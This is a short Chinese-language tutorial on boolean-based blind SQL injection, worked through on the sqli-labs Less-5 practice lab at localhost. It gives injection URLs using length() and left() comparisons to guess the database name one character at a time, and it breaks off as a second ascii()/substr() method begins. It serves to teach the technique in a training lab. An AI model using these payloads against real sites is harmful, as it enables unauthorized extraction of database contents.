基于布尔型SQL盲注
基于布尔型SQL盲注即在SQL注入过程中,应用程序仅仅返回True(页面)和False(页面)。
这时,我们无法根据应用程序的返回页面得到我们需要的数据库信息。但是可以通过构造逻辑判断(比较大小)来得到我们需要的信息。
sqli-labs>>less-5
接下来,我们以less-5为例讲解基于布尔型SQL盲注方法。
猜测当前数据库长度:
此时的URL为:
http://127.0.0.1/sqlilabs/Less-5/?id=1' and length(database())=8 %23
长度为8时返回正确页面,所以数据库长度为8.
猜测当前数据库名
方法1——使用left()函数进行夹逼
猜测当前数据库名的第一位字符:
此时的URL为:
http://127.0.0.1/sqlilabs/Less-5/?id=1' and left(database(),1)>'r'%23
'r'<'当前数据库名的第一位字符'<'t'
所以当前数据库名的第一位字符为’s’。
猜测当前数据库名的第二位字符:
此时的URL为:
http://127.0.0.1/sqlilabs/Less-5/?id=1' and left(database(),2)>'sd'%23
'sd'<'当前数据库名的前两位字符'<'sf'
所以当前数据库名的第二位字符为’e’。
以此类推,最后得到当前数据库名为“security”。
方法2——使用ascii()函数和substr()函数进行夹逼
猜测当前数据库名的第一位字符: